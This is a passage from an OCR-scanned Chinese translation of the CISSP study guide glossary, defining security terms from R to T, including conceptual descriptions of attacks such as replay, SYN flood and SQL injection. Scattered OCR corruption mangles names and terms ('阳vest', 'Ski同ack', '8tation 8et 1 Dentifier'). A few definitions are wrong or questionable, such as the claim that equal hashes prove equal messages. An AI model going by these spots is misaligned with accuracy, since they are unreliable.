维护备份场所的实时 的数据库服务器 ， 这是最先进的数据库备份方案。
remote wipe : 远程擦除
一个移动设备安全特征 ， 可 以远程删除设备上的所有数据 ， 甚至配置设置。
repeater : 中继器
一种网络设备， 用于放大网络连线上的信号， 允许两个节点之间有更长的距离 ， 也可称为集中
器或放大器。
replay attack : 重放攻击
一种攻击行为， 发生时恶意用户记录下客户端和服务器之间 的通信。 随后从客户端发往服务器
的数据包被重放或重新传递到服务器， 并且带有稍许不同的时间戳和源 E 地址(即哄骗)。 在一些情
况中， 这准许恶意用 户重新开始与服务器的旧 的通信链接 ， 也被称为回 放攻击。
residual risk : 剩余风险
对特定资产构成特定威胁的风险， 高层管理部门选择不对这些资产实施保护措施。 换句话说，
剩余风险是管理层选择接受的风险而不是削弱的风险。
restricted interface model : 约束接口模型
使用分类基础上的限制的一种模型， 只提供主体指定的授权信息和功能。 在某个分类级别上的
主体将可以看到一系列 的数据， 并且可以使用一系列的功能; 而另一个分类级别上的另一个主体将
可 以看到不 同系列的数据 ， 并且可 以使用 不 同系列的功能。
retina scan : 视网膜扫描
生物测定学因素的一个例子， 它是主体独有的行为或生理上的特征。 眼球后面血管的形状被用
来建立身份标识或提供身份认证。
Reverse Address Resolution Protocol : 反 向地址解析协议(RARP)
TCP/IP 协议组的一个子协议， 运作在数据链路层(第 2 层)上。 RARP 被用于通过使用轮询系统
术语表
的 MAC 地址来发现其 IP 地址。
reverse engi neering : 逆向工程
这被视为不道德的社会工程学形式。 编程人员反编译代码， 从而理解其功能的所有细节(特别是
在生成类似的、 竞争性的或兼容的产品时更是如此)。
reverse hash matching : 逆向散列匹配
通过生成可能的消息、 对这些消息进行散列运算、 比较散列值与原有的散列值， 从而发现经过
散列运算的原始消息 的过程。 当 H(M) =H (M')时 ， 那 么 M=M' 。
revocation : 取消
准许一个 PKI 证书被取消 的机制 ， 能够有效地从系统中删除用户。
RFC 1918
定义公共和私有 IP 地址的公共标准 。
Rijndael 分组密码
被选中代替 DES 的一种分组密码。 Rijndael 密码准许使用下列三种密钥强度: 128 位、 1 92 位
和 256 {立 。
risk : 风险
风险是任何一种特定的威胁利用特定脆弱性从而导致损害资产的可能性， 是对可能性、 概率或
偶然性的评估 。 风险=威胁+弱点 。
risk analysis: 风险分析
风险管理的内容， 包括: 分析风险存在的环境， 评估每种风险发生的可能性和造成的损失是多
少 ， 评估各种应对风险措施的成本 ， 生成安全措施的成本/效益报告并呈交给上层管理部门 。
risk framework 风险框架
关于如何评估风险、 解决风险和监管风险的指导或方法。
risk management : 风险管理
是识别可能造成数据损坏或泄漏因 素的详细过程， 根据数据的价值评估这些因素和应对措施的
成本， 并且为 了 减轻或降低风险而实施有成本效益的解决方案。
risk tolerance : 风险容忍度
组织忍受与所发生风险相关的损失的能力 。
RSA
以 阳vest、 Shamir 和 Adleman 三位发明人的名字命名 的 公钥加密算法。
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CISSP 官方学 习指南(第 7 版)
role-based access control : 角 色型访问控制
非 自 主访问控制 的一种类型 ， 通过使用工作职能角 色控制主体对客体进行访 问 。
root
系统的管理员级用户。
rooting
rooting 会移除 Android 设备上的限制， 并允许 r∞t 级别访问底层操作系统。 它类似于越狱运行
iOS 操作系统的设备。
rootkit
一种专用软件包 ， 允许黑客获得扩展的系统访 问权限。
router: 路由器
用 于控制网络上通信流的网络设备。 路由器常常被用来连接相似的网络， 并且控制两者之间的
通信流 。 路由器可以利用静态定义的路由 表进行工作 ， 也 可 以采用动态的路由系统进行工作。
rule-based access control : 规则型访问控制
强制访问控制的一种变化形式。 规则型的系统使用一系列规则、 限制或过滤器决定在系统上可
以做什么 ， 不可以做什么 ， 如准许主体对客体进行访问或执行某个操作 ， 或者访问某个资源。 防火
墙 、 代理和路由器是规则型访 问控制系统的常见例子。
running key cipher: 滚动密钥密码
在这种密码学中 ， 密钥被指定为某个变化源， 如 《纽约时报》 的第 3 页 。
running state : 运行状态
进程被主动执行的状态 ， 也被称为问题状态 。
S
sabotage : 阴谋破坏
对组织有深入了 解的 员工对组织实施的犯罪行为。
safe harbor: 安全港
它是一个控制机制 ， 包括一系列安全港法则。 目 标是防止未授权的信息泄露， 由数据处理者处
理数据， 以及在数据处理者和数据控制者之间进行传输。 如果他们同意遵守 7 项法规和条款 15 中描
述的要求， 并且经常提 问 ， 美国公司 可 以自愿选择进入项 目 。
safeguard : 防护措施
是指能消除脆弱性或对付一种或多种特殊威胁的任何方法， 也被称为应对措施 。
sag : 电压不足
瞬间的低 电压 。
salami 攻击
这种攻击收集少量的数据以构造具有更大价值或更高敏感度的事物。
salt : 盐
术语表
附加于密码的一个随机数 ， 从而增加了 随机性， 并且确保最后存储的散列值的唯一性。
sampling : J由丰羊
数据简化的一种形式， 允许审计人员从审计跟踪中 快速地确定重要的 问题或事件 。
sandbox : 沙箱
Java applet 在其 内 部执行的安全边界。
sandboxi ng : 沙箱
一种安全技术， 为应用提供了一条安全边界， 以防止应用程序与其他应用手里芋交互。 反恶意软
件应用程序使用沙箱技术来检测未知的应用。 如果应用程序显示可疑特征， Y少箱技术能够防止应用
程序感染其他应用 程序或操作系统。
sanitization : 净化
实际上是准备销毁介质的任意数量的过程， 用于保证不能以任何方式恢复销毁或丢弃的介质上
的数据。 净化也可以是销毁介质的实际方法。 介质可以通过清理或消磁得到净化， 而不需要对介质
进行物理销毁 。
scannmg : 扫描
很像你的邻居准备对你实施盗窃， 这是潜在的入侵者寻找进入你的系统所使用的过程。 扫描可
能预示着有非法行为将会随后发生， 因此我们将扫描视为事故， 并且收集扫描操作的证据是个很好
的主意。
scavenging : 打扫
使用 电子设备执行垃圾挖掘的一种形式。 联机打扫是从进程或任务完成之后留在上面的剩余数
据中搜索有用 的信息。 这些信息可能是审计跟踪、 日 志、文件、 内存转储、 变量设置、 端口映射和缓
存 的数据等。
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CISSP 官方学习 指南(第 7 版)
scenario : 场景
关于风险评估， 对单个主要威胁的书面描述。 描述的重心集中在威胁是如何产生的及其对组织、
IT 基础设施和特定的 资产会产生什么影响 。
schema : 模式
这个结构拥有定义或描述数据库的数据。 模式是使用数据定义语言(DDL)编写的。
screen scraper 或 screen scrapmg : 屏幕抓取/抓取
1 ) 远程控制、 远程访问或远程桌面服务。 2) 屏幕抓取这个技术可以让一个自动化的工具和人
机接 口 互动 。
script kiddie : 脚本小子
恶意的个人不了解安全漏洞背后的技术， 但从互联网上下载即用软件(或脚本)， 并使用它们对
系统发起攻击。
scripted access : 脚本访问
使用 向系统提供登录凭证的一个脚本自动化登录过程的方法。 这种方法被视为一种单点登录。
search warrant : 搜查证
通过司法系统获得的文件， 它准许执法人员在没有事先警示犯罪嫌疑人的情况下从某个地点获
取证据。
secondary evidence : 次要证据
最佳证据 内 容的证据副本或 口 头说明。
secondary memo叩 : 辅助存储器
通常是指保存着 CPU 不能立刻获得的数据的I雌性/光学介质和其他存储设备。
secondary storage : 辅助存储设备
包括磁性的和光学介质 的数据存储设备 ， 如磁带、 磁盘、 硬盘和 CD/DVD 存储器。
second-tier attack : 第二级攻击
这种攻击依赖于通过偷听或其他类似数据收集技术获得的信息或数据。 换句话说， 这是一种在
其他某些攻击完成后才启动的攻击。
secret : 秘密
政府/军方的一种分类， 用于具有秘密性质的数据。 未授权而泄露秘密数据将会有严重后果， 并
且可能导致对国家安全的重大破坏 。
术语表
secure communication protocol : 安全通信协议
使用加密技术为传输的数据提供安全的协议。
Secure Electronic Transaction : 安全电子交易(SET)
互联网 上进行交易传输时使用 的一种安全保护协议。 SET 工作在 RSA 加密以及 DES 的基础上。
SET 受到一些主要的信用卡公司 的支持， 如 Visa 和 MasterCardo
Secure Hash Algorithm(SHA-1 、 SHA-2， SHA-3): 安全散列算法(SHA)(SHA-1 、 SHA-2、 SHA-3)
由美国 国家标准和技术协会(NIST)开发的政府标准散列函数， 并在正式的政府出版物一一安全
散列标准(SHS)中进行了说明。 SHA-l 产生一个 1 60 位的消息摘要输出。 SHA-2 系列的成员创建了
一系列哈希值输出: 224、 256、 384 或 5 12。 在撰写本书时， SHA-3 仍在开发中， 但是己经为该新
的标准选择 了 Keccak 算法。
Secure HTTP : 安全 HTTP(S-HTTP)
另 一个重要的协 议 ， 用 于提供万维网 的安全性。
Secure Multipurpose Internet Mail Extensions : 安全的多用途互联网邮件扩展(S/MIME)
对 电子 邮件和 附件的传输提供保护的一种协议。
Secure Remote Procedure Call : 安全远程过程调用 (S-RPC)
这种身份认证服务提供了一种简单的方法， 用于防止在远程系统上进行的未授权代码的执行。
Secure Shell : 安全外壳(SSH)
一个端到端的加密技术。 这是一组程序， 提供常见互联网应用服务(如 盯P、 T巳lnet 和 rlogin)的
加密可选方案。 SSH 实际上有两个版本。 SSHl 支持 DES 、 3DES、 IDEA 和 Blowfish 算法。 SSI丑
不支持 DES 和 IDEA， 但是增加 了对其他一些算法的支持。
Secure Sockets Layer: 安全套接层(SSL)
由 Netscap巳 开发的用于保护 Web 服务器和 Web 浏览器之间通信 的一种加密协议。
Security Assertion Markup Language : 安全断言标记语言(SAML)
一种基于XML 的语言， 普遍用于联合组织之间交换认证和授权信息， 常为浏览器访问提供单
点登录功能。
security assessments : 安全评估
对系统、 应用程序或被测环境的安全性进行全面审查。 在安全评估期间 ， 受过训练的信息安全
专业人员执行风险评估 ， 识别被测环境中的漏洞， 可以允许破坏并且根据需要提出修复建议。
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CISSP 官方学 习指南(第 7 版)
Security Association : 安全关联(SA)
在一个 IPSec 会话中 ， 代表通信会话并记录有关连接配置和状态的所有信 息的过程。
security audits : 安全审计
评估执行的 目 的是向第三方展示控制的有效性。 安全审计会使用与安全评估期间相同的许多技
术， 但必须由独立的审计员执行。 为机构设计、 实施和监测控制的员工在评估这些控制 的有效性时
存在固有的利益冲突。
security boundary : 安全边界
任何两个具有不 同安全要求或需求的区域、 子 网或环境之间 的交线。
security control baselines : 安全控制基线
一套强制性的安全控制， 为实施安全和确保最低安全标准提供起点 。
security governance : 安全治理
安全治理是与支持、 定义和指导 组织安全工作相关的实践集合。
security 10: 安全证
物理身份标识的一种 形式 ， 通常包含照片 和/或带有个人附加信息的编码数据磁条 。
security kernel : 安全内核
操作系统服务的核心 设置 ， 这些设置控制着访 问 系统资源的所有用 户/应用请求。
security label : 安全标签
为确定保护客体并且防止未授权访 问所需要的安全级别， 在安全模式中使用的指定分类或敏感
级别。
security management planning : 安全管理计划编制
彻底和系统地设计程序和策略文档， 以便减少风险， 随后针对特定环境维持可接受的风险级别。
security mode : 安全模式
美国政府为处理分类信息的系统指派了 4 种被批准的安全模式: 专用模式、 系统高级模式、 分
隔 安全模式和多级模式。
security perimeter: 安全边界
一条假想的界限 ， 它把 TCB 与系统的其他部分分开 。
security pol icy : 安全策略
一种文挡， 用 于定义组织所需的安全范围 ， 规定了 管理安全问题的方案， 并讨论需要保护的资
术语表
产和安全解决方案应提供的所需保护措施的范围。
security professional : 安全专家
受过培训和经验丰富的网络、 系统和安全工程师， 他们负责执行高层管理部 门下达的指示。
security role : 安全角色
个人在组织内 部的 整个安全实施和管理方案 中扮演的角色。
security target: 安全 目 标
来 自 针对信息技术安全评估的通用准则的评估要素， 其中供应商声明 了其产品的安全特性。
security tests : 安全测试
安全测试能够验证控制在正常运行。 这些测试包括 自 动扫描、 工具辅助渗透测试和手动测试安
全性。 安全测试应该定期进行， 需要关注保护机构的每个关键安全控件。
segment : 段
传输层 TCP 报头和有效载荷的组合。
segmentation : 分割
网络分割动作将网络细分成较小的组织单位。 这些更小的单位、 分组、 分段或子网络(即子网)
可以用来提高网络的各个方面。 分割可以提高性能 ， 减少拥塞， 划分通信问题(如广播风暴)， 并通
过流量隔离提供安全改进。 分割可以通过使用基于交换机的 VLAN、 路由器或防火墙(以及所有这些
组合)创建分段。
semantic integrity mechanisms: 语义完整性机制
DBMS 的一种常用安全特性。 这个特性确保不会违反任何结构上的规则。 此外， 它还检查所有
存储的数据类型都位于有效的域范围内， 确保只存在逻辑值， 并且确认系统遵守任何和所有的唯一
性约束 。
seníor management : 高层管理者
最终负责组织安全维护和最关心保护资产的人。 高层管理者必须对所有策略问题签字。 高层管
理者对安全解决方案的成功或失败负有全部责任， 负 责对组织在建立安全性方面予以适度关注， 也
被称作组织所有者和高层管理者。
sensitive : 敏感
商业企w私营部门 的分类， 用于分类级别高于公开数据的数据。 如果敏感数据被泄漏， 那么就
会对公司产生负 面影响 。
sensitivity : 敏感度
对于生物测定学设备， 被配置成进行扫描的敏感级别。
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CISSP 言为学习指南(第 7 版)
separation of duties and responsibilities : 任务和责任分离
一种常见操作， 可以阻止任何一个主体具有阻止或停止安全机制的能力。 通过把核心管理或高
层 责任分配给多个人， 使得没有人能够进行严重的恶性行为或绕过实施的安全控制 。
separation of privilege : 特权分离
建立在最小特权原则之上的原则。 它要求使用力度化访问特权， 也就是说， 给每一种类型的特
权操作分配不同的特权。 这就允许设计人员给一些进程分配执行某些特殊管理功能的权限， 而不需
要授予他们不受限制地访 问 系统的权限。
Sequenced Packet Exchange : JII页序分组交换(SPX)
Novell 中 IPXlSPX 协议组的传输层协 议 。
sequential storage : JII员序存储设备
这种设备在到达所要求的位置之前， 需要读取(或快速经过)以前实际存储的所有数据。 顺序存
储设备的常见例子是磁带驱动器。
Serial Line Internet Protocol : 网络串行线路协议(SLIP)
互联网 串行线路协议是一种较老的技术， 用于支持异步串行连接(如串行线缆或调制解调器拨号)
上 的 TCP/IP 通信 。
service bureaus : 服务局
这种业务通过合同约定租用计算机时间， 并且在某些灾难以及需要实施灾难恢复计划或业务连
续性计划 的业务中断的情况下提供所有 IT需求 。
Service-Level Agreement: 服务级别协议(SLA)
一份针对用户 的合约式责任， 要求执行可靠的 BCP 工作， 还用于确保提供商提供的可靠的 BCP
工作的可接受服务级别 。
Service Organization Controls (SOC) Report: 服务组织控制(SOC)报告
由 审核员生成的报告 ， 其中包含云提供商 的安全评估结果。
Service Provisioning Markup Language : 服务配置标记语言(SPML)
一种标记语言 ， 出于联合身份单点登录 目 的 ， 专门设计用于用户信息交换。 它源 自 标准通用标
记语言(SGML)、 可扩展标记语言(XML)和通用标记语言(GML)。
SESAME
一种票据型验证机制 ， 类似于 Kerberos。
术语表
session hijacking : 会话劫持
怀有恶意的人中途拦截经过授权的用户和资源之间通信数据的一部分， 然后使用劫持技术接管
这个会话并伪装成 己授权用 户 的身份。
Session Layer: 会话层
OSI 模型的第 5 层。
Shared Key Authentication : 共享密钥身份认证(SKA)
在网络通信之前要求某种身份认证的无线网络所使用 的连接机制。 802. 1 1 标准为 SKA 定义了被
称为 WEP 的 可选技术。
Shielded Twisted-Pair: 屏蔽双绞线(STP)
一种双绞线 ， 线缆的周 围包有一层金属宿片 ， 对外部 电磁干扰(EMI)提供了额外的保护 。
shoulder su斤ing : 偷窥
通过留 意显示器或操作者敲击键盘来收集系统中信息的行为。
shrink-wrap license agreement : 收缩性薄膜包装许可协议
写在软件包装外面的协议。 由于常常包括一个条款而得名 ， 该条款规定， 撕开封装软件包的收
缩薄膜包装就承认了合同条款。
side-channel attack : 边信道攻击
被动非侵入式攻击， 去观察一个设备的操作。 边信道攻击用于智能卡。 常见的边信道攻击是功
耗监控攻击、 定时攻击和故障分析攻击。
signature-based detection : 特征型检测
反病毒软件用于识别系统上潜在的病毒感染的过程。
signature dynamics : 签字力度
在作为生物测定学方法使用时， 为了建立身份标识或提供身份认证而利用的人签名时的模式和
速度。
Simple Integrity Axiom : 简单完整性规则(SI Axiom)
Biba 模型的一种规则， 规定在特定分类标准上的主体不能读取较低分类标准的数据。 这通常会
被缩略为 " 不能向下读 "。
Simple Key Management for IP: 1 P 简单密钥管理(SKIP)
用于保护无会话数据报协议的加密工具 。
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CISSP 官方学习指南(第 7 版)
Simple Mail Transfer Protocol : 简单邮件传输协议(SMTP)
用 于从客户端向服务器和服务器到服务器移动电子邮件的主要协议。
Simple Security Property : 简单安全特性(SS 属性)
Bell-LaPadula 模型的一个属性， 指出在明确分类级别上的主体不能读取较高敏感性级别的信息。
通常被缩写成 "不能向上读"。
simulation tests : 模拟测试
这种测试为灾难恢复团队的成员呈现一个情景并要求他们提出适当的响应。 其中一些响应措施
随后会被测试。 这可能涉及不重要的业务活动的中断和某些操作人员 的使用 。
Single Loss Expectancy : 单一损失期望(SLE)
与针对特定资产的单个己发生的风险有关的成本， 表示组织发生的某种资产被特定威胁损坏所
造成的精确损失值 。 SLE =资产价值(美元)x暴露因子(EF)。
single point of failure : 单点故障
基础架构的任何元素(例如设备、 服务、 协议或通信链路)， 如果受到破坏、 侵犯或毁坏 ， 将导
致完全或重大的停机时间 ， 从而影响组织成员执行基本工作任务的能力 。
Single Sign-On : 单点登录(SSO)
准许主体在系统上只进行一次身份认证的机制 。 利用 SSO， 一旦主体通过身份认证， 那么他们
可能在网络 中 自 由 漫游 ， 并且不必再次接受身 份认证挑战就可以访问 资源和服务。
single state : 单一状态
要求使用策略机制来管理不同安全级别信息的系统。 在这种类型的方案中 ， 安全系统管理员准
许处理器和系统一次只 处理一个安全级别 的 问题 。
single-use passwords : 专用密码
一种动态密码， 每次使用 时它们都会发生改变。
site survey : 现场勘测
使用 盯 信号检测 器对无线信号 的强度、 质 量和干扰的正式评估 。
Ski同ack
与托管加密标准联合， 对 64 位的文本分组进行操作的算法。 它使用一个 80 位的密钥 ， 井且支
持相同 的 4 种 DES 操作模式。 Skipjack 由美国政府提议， 但从未付诸实践 。 它提供了 支持 Clipperr
和 Capstone 高速加密芯片的密码学程序 ， 这些芯片是为重要商业应用而设计的。
术语表
sliding wi ndows : �，青云力窗口
TCP 基 于链路可靠性动态地改变传输窗 口 大小的能力 。
sma付 card : 智能卡
信用卡大小的身份证、 员 工证或安全通行证， 上面有磁条、 条形码或植入的集成电路芯片。 智
能卡上包含了可以用于身份标识和/或身份认证 目 的 的经过授权的持卡人信息 。
smurf 攻击
一种 DoS 攻击。 放大服务器或网络 ， 用 无用 数据使受害者遭到泛洪攻击。
sniffer aUack : 嗅探攻击
任何导致恶意用户获得网络信息或通过网络传输的通信信息的操作。 咦探探测器常常是一个包
截 获程序， 它可以将网络介质上传输的数据包的内容复制到文件中， 也称为探听攻击 。
sniffing : 嗅探
网络数据监控的一种形式。 嗅探通常包括网络通信数据的捕捉或复制， 用于检查、 重建和提取。
sniping : 和、杀
使用 自 动化代理提交在线拍卖的最后一次出价。
social engineering : 社会工程学
陌生人使用此技巧获取公司 内 部人 员 的信任， 并怂恿他们对 IT 系统进行修改， 从而获得访问
权限。
software analysis : 软件分析
对正在运行的应用程序中发生的程序或活动进行取证审查。
Software as a Service : 软件即服务(SaaS)
一种云计算概念， 提供对特定软件应用程序或套件的按需在线访 问 ， 而不用本地安装。
Software-Defined Networks : 软件定义网 络(SDN)
独特的网络操作、 设计和管理方法。 该概念基于这样一个理论， 即传统网络设备配置的复杂性(如
路由器和交换机)经常强迫组织依附于一个单一的设备厂商， 如思科， 这限制了 网络的灵活性而难以
应付不断变化的物理和商业条件。 SDN 旨在从控制层(即 网络服务的数据传输管理)分离基础设施层
(即硬件和基于硬件的设置)。
software escrow arrangement : 软件托管协议
一种特殊的工具， 可 以对公司起到保护作用 : 避免公司受软件开发商的代码故障的影响 ， 以便
为产品提供足够的支持 ， 还可 以 防止出现由于开发商破产而造成产品 失去技术支持的情况。
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CISSP 官方学习指南(第 7 版)
software I P enc叩ption : 软件 IP 加密(swiPe)
这是一种第 3 层 IP 安全协议 。 它通过使用封装协议来提供身份认证、 完整性和机密性。
spam : 垃圾邮件
指那些多余的电子邮件、 新闻组或论坛的消息。 垃圾邮件可能像善意 的厂商发来的广告一样无
害 ， 也可能像大量传递的带有病毒或特洛伊木马 附件这样的 消息一样有害。
spamming attacks 或 spamming : 垃圾邮件攻击或垃圾邮件
向系统发送大量垃圾邮件， 以引起 DoS 或大众的愤怒， 消耗存储空间或消耗带宽和处理能力。
spear phishing : 鱼叉式钓鱼
一种针对特定用户组的钓鱼方式。
spike : 脉冲
瞬时高电压 。
spl it knowledge : 分割知识
在单个解决方案中责任分离和两人控制概念的特定应用 。 分割知识的基本思想是执行某个操作
所需的知识或特权在多个用户之间分配， 这样可 以确保任何一个人都没有足够的权限来危害环境的
安全性。
spoofing : 欺骗
利用假的 IP 地址和节点号替代有效的源和/或 目标IP 地址和节点号的行为。
spoofing attack : 欺骗攻击
涉及被欺骗 的或被修改的数据包的攻击。
spread spectrum : 扩频
通信可 以通过多个频率 同时发生的一种方式和 方法 。
spyware : 间谍软件
软件会监控你的动作 ， 并且向 暗中监视你活动的远程系统传送重要的细节。 有时用于恶意和非
法目的 ， 例如身份盗用或账户接管。
SQL 注入
针对有漏洞的 Web 应用程序的攻击， 其中黑客提交 SQL 数据库表达式和脚本代码， 绕过身份
认证并与 DBMS 或底层操作系统直接交互。
术语表
stand-alone mode : 独立模式
一个无线网络使用 一个无线接入点连接无线客户端但是没有提供任何有线资源。
standards : 标准
定义了强制性的硬件 、 软件、 技术和安全控制方法统一使用的要求的文档。 它们提供了行为的
过程， 在这个过程中技术和措施在整个组织内部被统一实施。 标准是战术文档 ， 定义了达到 目 标和
安全策略中制定的总体方向 的步骤或方法。
state : 状态
系统在某个特定情况下的即时快照。
state machine model : 状态机模型
一个无论执行何种功能总是安全的系统。
stateful inspection firewall : 状态检测防火墙
一种防火墙， 对网络通信的状态或环境进行评估。 通过检查源和 目 标的地址、 应用 习惯、 起源
地和当前数据包与同一会话的前一个数据包的关系， 状态检测防火墙能够为授权用户 和操作授予广
泛的访问权限， 并且积极地监视和堵塞未授权的用户 和操作。 状态检测防火墙被称为第 3 代防火墙。
stateful NA T : 状态 NAT
NAT 维护有关客户端和外部系统之间的通信会话信息的能力或手段。 NAT 通过维护内 部客户端
做 出请求， 客户端的 内 部 IP 地址和所联系的互联网服务 的 IP 地址之间的映射来操作。
static packet-filtering firewall : 静态包过滤器防火墙
一种防火墙， 通过检查报文头部的数据进行通信数据的过滤。 通常， 规则关注于源、 目 标和端
口 地址 。 静态数据包过滤防火墙被称为第 l 代防火墙 。
static password : 静态密码
不随时间 而改变的密码， 或在一段有效时间内保持不变的密码。
static system 或 static environment: 静态系统或静态环境
一组不改变条件、 事件和周边的环境。 理论上， 一旦理解， 就知道静态环境不提供新的或令人
惊讶的元素。 静态的 町 环境可以是任何一个系统， 其用户和管理员 的 目 的是保持其不变。 整个 目 标
是 防止或最小程度减少 ， 一个用户 可能导致减少安全性或操作功 能性的实施变更。
static testing : 静态测试
在不运行软件的情况下通过分析源代码或编译 的应用程序对软件进行评估。
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CISSP 官方学习指南(第 7 版)
static token : 静态标记
以物理的手段提供身份， 通常不被用作身份认证因素。 示例包括磁条卡、 智能卡、 软盘、 USB
孔气M 软件狗 ， 甚至是像开锁的钥匙一样的简单物品 。
8tation 8et 1 Dentifier: 工作站集标识符(88ID)
为了与主接入点通信 ， 每个无线客户端都必须知道的无线网 络名 。
statistical attack : 统计攻击
这种攻击类型利用密码系统的统计缺陷 ， 例如浮点错误或不能产生随机数。 统计攻击试图查找
驻 留密码学应用程序的硬件或操作系统的脆弱性。
stealth virus : 隐形病毒
这种病毒通过对操作系统的实际篡改来欺骗反病毒软件包认为所有事情都工作正常， 从而将 自
己 隐藏起来。
steganography : 隐写术
使用密码技术在另外一条消息内嵌入秘密消息的方法 ， 通常在图 像或 WAV 文件 内插入。
stop error: 停止错误
操作系统的安全响应 。 例如在 Wmdows 中 ， 当某个应用相芋执行非法操作(如访 问硬件或更己U
访问另一个进程的存储空间)时 ， 系 统做出的响应。
stopped state : 停止状态
进程结束或必须终止时就会进入停止状态 。 此时， 操作系统可以恢复所有内存和被分配的其他
资源 ， 从而允许其他进程根据需要重用这些 内 存和资源。
storage segmentation : 存储分割
一种设备管理技术， 用来人为地在存储介质上划分为不同的类型或数值的数据。 在移动设备上，
设备制造商和/或服务提供商可以使用存储分割将设备的操作系统及预装应用程序与用户 安装程序
和用户数据进行隔离。 一些移动设备管理系统进一步实施隔离， 将公司数据和应用程序与用户数据
和应用程序分离 。
store-and-forward device : 存储转发设备
一种 网 络设备， 使用 内 存缓冲区 来存储数据包， 直到它们可以转发到较慢的网段。
strategic plan : 战略计划
一个长期计划 ， 它是相当稳定的。 用于定义组织的 目 的、 任务和 目 标。 如果战略计划每年都被
维护和更新， 那么可 以使用大约 5 年。 战略计划还可 以作为计划编制 的基准。
术语表
stream attack : 流攻击
一种 DoS 攻击。 在大量的数据包使用随机的源和顺序号发往受害者系统的很多端 口 时， 就会出
现流攻击。 由 受害者系统进行的试图 解析数据的处理将导致 DoS， 也被称为泛洪。
stream ciphers : 流密码
对消息(数据流)中的每个字符或每一位进行操作 ， 每次一个字符/位。
streaming audio : 流媒体音频
当基于来 自提供商/服务器的正在进行的传输而接收到时， 被呈现给终端用户 的音频传输。 流媒
体通常通过互联网实时或按 需提供。
streaming video : 流媒体视频
当基于来自提供商/服务器的正在进行的传输而接收到时， 被呈现给终端用户的视频传输。 流媒
体通常通过互联网实 时或按需提供。
strong password : 强密码
对付字典攻击或穷举攻击的密码。
SQL
关系数据库使用 的标准语言 ， 用于在关系数据库 中输入信息或者从中提取存储的信息。
structured walkthrough : 结构化演练、
一种灾难恢复测制;莫式， 经常被称为 " 桌面练习 "， 灾难恢复团队的成员聚集在一间大的会议室
里 ， 不同的人在灾难发生时扮演不 同角色。
subject : 主体
活动的实体， 通过访问操作寻找有关被动实体的信息， 或者从被动实体中寻找数据。 主体可以
是用户 、 程序 、 进程、 文件、 计算机或数据库等 。
subpoena : 传票
法院的指令， 强迫个人或组织交出 证据或出庭。
substitution cipher: 替代密码
使用加密算法、 利 用不同的字符代替明文信息 中 的每一个字符或位 ， 如 凯撒密码。
supervisor state 或 superviso叩 state : 管理状态或监管状态
进程在享有特权的全访 问模式中运行 的状态。
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CISSP 官方学 习指南(第 7 版)
Supervisory Control And Data Acquisition : 监控与数据采集系统(SCADA)
一个 ICS 单元可以作为-个独立的设备使用 ， 也可与其他 SCADA 系统组成网络或是与传统 IT
系统组成网络。 大多数 SCADA 系统以最小的人机接口设计。 通常， 它们使用机械按钮和旋钮或者
简单的液晶屏接口 (类似于你在一台商业打印机或 GPS 导航装置上看到的)。 然而， 网络 SCADA 设
备可能有更复杂 的远程控制软件接 口 。
supervisory mode : 监管模式
此模式中 的进程在层 0 上运行， 层 0 是操作系统本身所在的环。
surge : 电涌
长时间 的高电压。
Sutherland 模型
一个完整性模型 ， 重点是防 止干扰的完整性的支持。
switch : 交换机
由于交换机知道连接到每个出 站端 口 的系统的地址， 因此这种网络设备常常被称为智能集线器。
与在所有出站端 口上中继通信数据不同， 交换机只在 己知目标地址所在的出站端 口上对通信数据进
行中继。 交换机提供了 更加有效的通信分发方式， 建立了 隔离的广播和冲突域， 并且提高了数据的
整体吞吐量。
772
Switched Multimegabit Data Service : 交换式多媒体数据服务(SMDS)
一种无连接的网络通信服务。 SMDS 提供按需带宽服务， 并且对于那些通信不频繁的远程 LAN
链接是一种首选的连接机制 。
Switched Vi时ual Circuit: 交换式虚电路(SVC)
一种虚 电路形式， 更像一个拨号连接 ， 每次使用 时必须重新建立。
symmetric key : 对称密钥
依靠一个 " 共享的秘密" 加密密钥的算法， 这个密钥被分发给所有公共通信的成员 。 这个密钥
由所有成员用于消息的加密和解密 。
Symmetric MultiProcessi ng : 对称多重处理(SMP)
一种系统类型， 处理器不但共享一个公共操作系统， 而且还共享公共数据总线和存储器资源。
在这种结构类型中， 系统可 以使用 不超过 1 6 个处理器。
SYN 泛洪攻击
-种 DoS 攻击。 SYN 泛洪通过不发送最终的 ACK 包发动攻击， 从而破坏 TCPIIP 初始化通信
会话的三步握手标准。
术语表
Synchronous Data Link Control : 同步数据链路控制(SDLC)
一种第 2 层上的协议， 运用在使用专线或租用线的网络中。 SDLC 由 IBM 公司 为 SNA 系统的
远程通信而开发 。 SDLC 是面向 比特的 同步协议。
synchronous dynamic password token : 同步动态密码标记
以固定时向间 隔生成密码的标记设备使用 的所有标记。 时间间隔标记需要验证服务器上的时钟
和标记设备上的时钟是同步的。 生成的密码 由主体随同 PIN、 密码短语或密码输入到系统中 。
synthetic transactions : 综合事务
具有己知预期结果的脚本事务。 测试人员针对测试的代码运行综合事务， 然后将事务的输出与
预期状态进行 比较。 实际和预期结果之间的任何偏差代表代码中可能的缺陷， 必须进一步调查 。
system call : 系统调用
可信度较低的保护环中某个对象请求访问 可信度较高的保护环中 的资源或对象功能的过程。
system compromise : 系统破坏
系统的安全性被损坏的情况 ， 也称为安全损坏 、 安全破坏、 入侵或违规。
system-high security mode : 系统高级安全模式
一种模式， 系统被授权只处理所有系统用户批准读取(并且具有有效的 " 知其所需" 权限)的信
息 。 如果系统在这种模式中运行， 就不能相信它们维护了 安全级别的分离。 并且这些系统处理的所
有信息必须进行控制 ， 就好像它们被分类成与系 统处理的 最高分类信息处于同一个级别 。
system resi lience : 系统弹性
系统在发生不利事件时保持可接受服务水平的能力。 这可能是容错组件管理的硬件错误， 也可
能是其他控制管理的攻击 ， 如有效的入侵检测和预防系统。
T
table : 表
关系数据库的主要构件 ， 也称为关系。
tactical plan : 战术计划
战术计划是中期计划 ， 用 于提供更加详细的完成战略计划中提出的目 标的计划。 战术计划通常
一年有效， 对实现组织 目 标所必需 的任务进行规定和制定进度表。
Take-Grant 模型
一种模型， 采用有向 图来指示权限如何从一个主体向另一个主体进行传递， 或者如何从一个主
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CISSP 官方学 习指南(第 7 版)
体向一个客体传递。 简单地讲， 具有授权资格的主体可以向另一个主体或客体授予其拥有的其他任
何权限 。 同样， 具有获得权限的主体可 以从另一个主体获得权限 。
task-based : 基于任务
一种访 问 控制方法， 这个方法根据工作任务或操作来进行访 问控制。
TCP 模型
从 TCP/IP 衍生出来的网络协议概念模型， 也称为 DARPA 模型和 DoD 模型。 TCP 模型有 4 层，
